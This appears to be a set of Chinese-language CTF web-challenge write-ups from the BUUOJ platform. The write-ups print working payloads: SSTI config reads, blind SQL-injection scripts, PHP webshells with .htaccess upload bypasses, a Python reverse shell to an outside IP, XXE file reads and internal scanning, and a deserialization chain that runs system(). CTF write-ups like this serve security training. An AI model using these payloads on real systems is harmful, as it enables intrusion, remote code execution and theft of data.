[WesternCTF2018]shrine
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
/shrine/路徑下可以模板注入
http://c5d52eaf-29bb-49b6-81fc-c82fe18f6826.node3.buuoj.cn/shrine/{{1+1}}
源碼中註冊了一個名爲FLAG的config
但黑名單把config、self循環遍歷並替換爲空,所以讀取不到
python內置函數
-
url_for
/shrine/{{url_for.__globals__}}
/shrine/{{url_for.__globals__['current_app'].config}}
-
get_flasher_messages
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
[SWPU2019]Web1
廣告名處二次注入,且ban掉了註釋,只能閉合引號注入
1' //查看廣告詳情報錯
1'' //查看廣告詳情正常
/**/繞過空格過濾
空格過濾的基本操作
order by中含or,也被ban了,可以用group by代替
-1'/**/group/**/by/**/22,'1
聯合查詢
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
mysqlinnodb_table_stats
https://mariadb.com/kb/en/library/mysqlinnodb_table_stats/
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
無列名注入
參考鏈接:
https://www.jianshu.com/p/dc9af4ca2d06
https://www.anquanke.com/post/id/193512
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
[GXYCTF2019]BabySQli
select * from user where username = '$name'
union select查詢可知有三個字段
後端代碼
<?php
if($row['username']==’admin’){
if($row['password']==md5($pass)){
echo $flag;
}else{
echo “wrong pass!”;
}
}
else{ echo “wrong user!”;}
?>
知識點
當查詢的數據不存在時,聯合查詢就會構造一個虛擬的數據
輸入admin,密碼爲md5(123456),代入查詢時MySQL裏面就會生成admin,123456的用戶
同時使用123456密碼進行登錄,就可以繞過限制
name='union select 1,"admin","e10adc3949ba59abbe56e057f20f883e";#&pw=123456
[GYCTF2020]Blacklist
這道題是以強網杯爲原型的堆疊注入
1';show tables;
1';show columns from `FlagHere`;
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;
[CISCN 2019 初賽]Love Math
<?php
error_reporting(0);
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太長了不會算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("請不要輸入奇奇怪怪的字符");
}
}
//常用數學函數http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("請不要輸入奇奇怪怪的函數");
}
}
//幫你算出答案
eval('echo '.$content.';');
}
PHP函數
- scandir():返回指定目錄中的文件和目錄的數組
- base_convert():在任意進制之間轉換數字
- dechex():把十進制轉換爲十六進制
- hex2bin():把十六進制字符串轉換爲ASCII字符
- var_dump():輸出變量的相關信息
- readfile():輸出一個文件。該函數讀入一個文件並寫入到輸出緩衝。若成功,則返回從文件中讀入的字節數。若失敗,則返回 false
動態函數
PHP中可以把函數名通過字符串的方式傳遞給一個變量,然後通過此變量動態調用函數
$function = "sayHello";
$function();
getallheaders
函數用於包含當前請求所有頭中信息的數組,失敗返回FALSE
payload:``pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
據說是可以在header中寫入cat flag.php
帶出flag,但我本地沒有成功
最終payload:
http://833b3035-65c8-45f0-aef4-8214e5f05661.node3.buuoj.cn/?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
[CISCN2019 總決賽 Day2 Web1]Easyweb
robots.txt:
User-agent: *
Disallow: *.php.bak
最終在image.php.bak找到源碼泄露
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
構造payload:
image.php?id=\0%27&path=%20or%20length((select group_concat(password) from users))=20%23
得知密碼長度爲20位,附上sql盲註腳本
import requests
import time
url = r'http://13f181de-393c-4dc4-b511-cf4ab608c75f.node3.buuoj.cn/image.php'
result = ''
for x in range(0, 20):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = " or id=if(ascii(substr((select password from users limit 1 offset 0),%d,1))>%d,1,0)#" % (x, mid)
params = {
'id':'\\\\0',
'path':payload
}
response = requests.get(url, params=params)
time.sleep(2)
print(payload)
if b'JFIF' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
隨便上傳一張圖片後發現文件名被寫入日誌
短標籤繞過php過濾
PHP開啓短標籤即short_open_tag=on
時,可以使用<?=$_?>
輸出變量
filename="<?=@eval($_POST['a']);?>"
菜刀連一下,在根目錄找到flag
[V&N2020 公開賽]HappyCTFd
CVE-2020-7245 CTFd賬號接管
- 添加空格繞過限制來註冊一個與受害者用戶名相同的賬號
- 生成忘記密碼鏈接發送到自己的郵箱
- 重置密碼,用admin賬號和重置的密碼登錄,尋找flag
CVE-2020-7245 CTFd v2.0.0-v2.2.2 account takeover分析
[GWCTF 2019]枯燥的抽獎
check.php
<?php
#這不是抽獎程序的源代碼!不許看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽獎,就是那麼枯燥且無味,給你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>沒抽中哦,再試試吧</p>";
}
}
show_source("check.php");
php僞隨機數
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='Fmaj0100xE'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print res
得到僞隨機數序列
41 41 0 61 12 12 0 61 0 0 0 61 9 9 0 61 26 26 0 61 27 27 0 61 26 26 0 61 26 26 0 61 23 23 0 61 40 40 0 61
php_mt_seed跑一下,得到隨機數種子爲468879187
<?php
mt_srand(447134701);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>
得到密碼
[CISCN2019 華北賽區 Day2 Web1]Hack World
<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
#被過濾的內容 函數基本沒過濾
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}
異或注入
https://www.jianshu.com/p/27df5c67157c
1^1^1 //返回1
1^0^1 //返回0
sql盲註腳本
import requests
import time
url = "http://83b5c157-8a59-4ee0-b07d-90e16a32f156.node3.buuoj.cn/index.php"
result = ''
for i in range(40, 50):
for j in range(32, 127):
payload = '1^(cot(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(j) + '))^1=1'
print(payload)
r = requests.post(url, data = {'id': payload})
time.sleep(2)
if r.text.find('girl') == -1:
result += chr(j)
print(j)
break
print(result)
[極客大挑戰 2019]FinalSQL
異或注入
import re
import requests
import string
import time
url = "http://88558fb8-9ead-4106-b960-9c0e4ef5aecb.node3.buuoj.cn/search.php"
flag = ''
def payload(i,j):
# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #數據庫名字
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j) #列名
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
data = {"id":sql}
r = requests.get(url,params=data)
time.sleep(2)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1,10000) :
print(i,':')
low = 31
high = 127
while low <= high :
mid = (low + high) // 2
res = payload(i,mid)
if res :
low = mid + 1
else :
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=',flag)
[SUCTF 2019]EasyWeb
構造不包含數字和字母的webshell
- 異或構造
- 取反構造
- 自增構造
?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag
文件上傳繞過
nginx:.user.ini
apache:.htaccess
.htaccess上傳的時候不能用GIF89a等文件頭去繞過exif_imagetype,因爲這樣雖然能上傳成功,但.htaccess文件無法生效
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc"
shell.abc
GIF89a12PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==
GIF89a後面的12是爲了補足8字節,滿足base64編碼規則
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://e9059d28-5f7a-44fc-801f-e76740eadd91.node3.buuoj.cn/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
繞過open_basedir/disable_function
open_basedir是php.ini中的一個配置選項
它可將用戶訪問文件的活動範圍限制在指定的區域,
假設open_basedir=/home/wwwroot/home/web1/:/tmp/,
那麼通過web1訪問服務器的用戶就無法獲取服務器上除了/home/wwwroot/home/web1/和/tmp/這兩個目錄以外的文件。
注意用open_basedir指定的限制實際上是前綴,而不是目錄名。
舉例來說: 若"open_basedir = /dir/user", 那麼目錄 "/dir/user" 和 "/dir/user1"都是可以訪問的。
所以如果要將訪問限制在僅爲指定的目錄,請用斜線結束路徑名。
Payload
http://e9059d28-5f7a-44fc-801f-e76740eadd91.node3.buuoj.cn/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc?a=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27/%27));
http://e9059d28-5f7a-44fc-801f-e76740eadd91.node3.buuoj.cn/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc?a=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(file_get_contents(%27/THis_Is_tHe_F14g%27));
參考鏈接
https://www.cnblogs.com/wangtanzhi/p/12250386.html
[GXYCTF2019]BabyUpload
.htaccess
SetHandler application/x-httpd-php
shell.jpg
GIF89a
<script language="php">eval($_POST['a']);</script>
[網鼎杯 2018]Comment
git源碼恢復
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
首先到登錄頁面,爆破得到密碼爲zhangwei666
二次注入
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$category = mysql_fetch_array($result)['category'];
category
在插入的時候進行了過濾,而在取出來的時候並沒有過濾,這就造成了二次注入
category:123',content=user(),/*
留言:*/#
$sql = "insert into comment
set category = '123',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
SQL讀取文件
用load_file()函數進行讀取,值得注意的是讀取文件並返回文件內容爲字符串。要使用此函數,文件必須位於服務器主機上,必須指定完整路徑的文件,而且必須有FILE權限。 該文件所有字節可讀,但文件內容必須小於max_allowed_packet。如果該文件不存在或無法讀取,因爲前面的條件之一不滿足,函數返回 NULL。
讀取/etc/passwd
123',content=(select(load_file('/etc/passwd'))),/*
讀取.bash_history
123',content=(select(load_file('/home/www/.bash_history'))),/*
讀取.DS_Store
123',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
讀取flag
123',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
[V&N2020 公開賽]CHECKIN
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
nc監聽1234端口,payload如下:
/shell?c=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.2.1.129",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
cat /proc/*/fd/*
反彈shell的幾種方法
https://www.smi1e.top/linux-%E5%8F%8D%E5%BC%B9shell%E6%96%B9%E6%B3%95
[極客大挑戰 2019]RCE ME
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
?>
無數字字母RCE
phpinfo
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
shell
code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
disable_functions
[2020 新春紅包題]1
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
// 使緩存文件名隨機
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 創建失敗
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//數據壓縮
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return $filename;
}
return null;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
payload
<?php
class A{
protected $store;
protected $key;
protected $expire;
public $cache = [];
public $complete = true;
public function __construct () {
$this->store = new B();
$this->key = '/../wtz.phtml';
$this->cache = ['path'=>'a','dirname'=>'`cat /flag > ./uploads/flag.php`'];
}
}
class B{
public $options = [
'serialize' => 'system',
'prefix' => 'sssss',
];
}
echo urlencode(serialize(new A()));
//data=O%3A1%3A"A"%3A5%3A{s%3A8%3A"%00*%00store"%3BO%3A1%3A"B"%3A1%3A{s%3A7%3A"options"%3Ba%3A2%3A{s%3A9%3A"serialize"%3Bs%3A6%3A"system"%3Bs%3A6%3A"prefix"%3Bs%3A5%3A"sssss"%3B}}s%3A6%3A"%00*%00key"%3Bs%3A13%3A"%2F..%2Fwtz.phtml"%3Bs%3A9%3A"%00*%00expire"%3BN%3Bs%3A5%3A"cache"%3Ba%3A2%3A{s%3A4%3A"path"%3Bs%3A1%3A"a"%3Bs%3A7%3A"dirname"%3Bs%3A32%3A"`cat+%2Fflag+>+.%2Fuploads%2Fflag.php`"%3B}s%3A8%3A"complete"%3Bb%3A1%3B}
訪問/uploads/flag.php得到flag
[NCTF2019]Fake XML cookbook
XXE
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>&xxe;</username><password>admin</password></user>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<user><username>&xxe;</username><password>admin</password></user>
[NCTF2019]True XML cookbook
XXE讀取ARP表
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///proc/net/arp" >]>
<user><username>&xxe;</username><password>admin</password></user>
掃內網
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://173.20.6.10" >]>
<user><username>&xxe;</username><password>admin</password></user>
[RoarCTF 2019]Online Proxy
XFF注入
import requests
import time
url = "http://node3.buuoj.cn:25884/"
head = {
"GET" : "/ HTTP/1.1",
"Cookie" : "track_uuid=602832fa-679e-449d-f31d-92f05fefa7a6",
"X-Forwarded-For" : ""
}
result = ""
urls ="0' or ascii(substr((select F4l9_C01uMn from F4l9_D4t4B45e.F4l9_t4b1e limit 1,1),{0},1))>{1} or '0"
for i in range(1,100):
l = 1
r = 127
mid = (l+r)>>1
while(l<r):
head["X-Forwarded-For"] = urls.format(i,mid)
html_0 = requests.post(url,headers = head)
time.sleep(2)
head["X-Forwarded-For"] = urls.format(i, mid+1)
html_0 = requests.post(url, headers=head)
html_0 = requests.post(url, headers=head)
if "Last Ip: 1" in html_0.text:
l= mid+1
else:
r=mid
mid = (l+r)>>1
if(chr(mid)==' '):
break
result+=chr(mid)
print(result)
print("table_name:"+result)
[FBCTF2019]RCEService
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
json格式命令
{"cmd":"ls"}
preg_match匹配
preg_match函數只會匹配第一行,可以用%0A
換行
源碼中可以看到putenv(‘PATH=/home/rceservice/jail’)已經修改了環境變量,我們只能用絕對路徑來調用系統命令
{%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}
pcre回溯限制繞過
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://af72594c-dbfc-4ef9-baa3-0738dbb5fdb9.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)
[GYCTF2020]FlaskApp
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "結果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
在base64加密處提交{{1-1}}
,將得到的編碼拿去解密後得到0,存在ssti
讀源碼
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
發現flag和os被過濾
字符串拼接查找目錄
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
字符串切片讀取this_is_the_flag.txt
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
[BJDCTF 2nd]文件探測
php僞協議讀取源代碼
home.php?file=php://filter/read=convert.base64-encode/resource=home
home.php
<?php
setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);
if(isset($_GET['file'])){
if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {
die("forbidden");
}
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("not now!");
}
if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
die("You! are! not! my! admin!");
}
if(preg_match("/^home$/i", $_GET['file'])){
die("ç¦æ¢å¥—娃");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "现在访问的是 ".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href='./home.php?file=system'</script>";
}
讀取system.php
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");
die;
}
$str2 = ' Error: url invalid<br>~$ ';
$str3 = ' Error: damn hacker!<br>~$ ';
$str4 = ' Error: request method error<br>~$ ';
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>File Detector</title>
<link rel="stylesheet" type="text/css" href="css/normalize.css" />
<link rel="stylesheet" type="text/css" href="css/demo.css" />
<link rel="stylesheet" type="text/css" href="css/component.css" />
<script src="js/modernizr.custom.js"></script>
</head>
<body>
<section>
<form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
<div class="simform-inner">
<span><p><center>File Detector</center></p></span>
<ol class="questions">
<li>
<span><label for="q1">ä½ çŸ¥é“目录下都有什么文件å—?</label></span>
<input id="q1" name="q1" type="text"/>
</li>
<li>
<span><label for="q2">请输å
¥ä½ 想检测文件å†
容长度的url</label></span>
<input id="q2" name="q2" type="text"/>
</li>
<li>
<span><label for="q1">ä½ å¸Œæœ›ä»¥ä½•ç§æ–¹å¼è®¿é—®ï¼ŸGET?POST?</label></span>
<input id="q3" name="q3" type="text"/>
</li>
</ol>
<button class="submit" type="submit" value="submit">æ交</button>
<div class="controls">
<button class="next"></button>
<div class="progress"></div>
<span class="number">
<span class="number-current"></span>
<span class="number-total"></span>
</span>
<span class="error-message"></span>
</div>
</div>
<span class="final-message"></span>
</form>
<span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore</a></center></p></span>
</section>
<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">
var theForm = document.getElementById( 'theForm' );
new stepsForm( theForm, {
onSubmit : function( form ) {
classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
var messageEl = theForm.querySelector( '.final-message' );
form.submit();
messageEl.innerHTML = 'Ok...Let me have a check';
classie.addClass( messageEl, 'show' );
}
} );
</script>
</body>
</html>
<?php
$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';
if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3'];
$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";
echo $str1;
if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}
?>
主要思路是 讓$detect
以字符串形式輸出,有兩種讀取admin.php的方法
-
%1$s
%1$s
會將第一個參數用string類型輸出print(sprintf("$url method&content_size:"GET%1$s%d", $detect)); // %1$s會以字符串格式輸出$detect,而%d會輸出0
-
%s%
,sprintf()函數中%可以轉義掉%
print(sprintf("$url method&content_size:"GET%s%%d", $detect)); // %d前的%被轉義,因此失
payload
POST:q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s
得到admin.php的源碼
<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
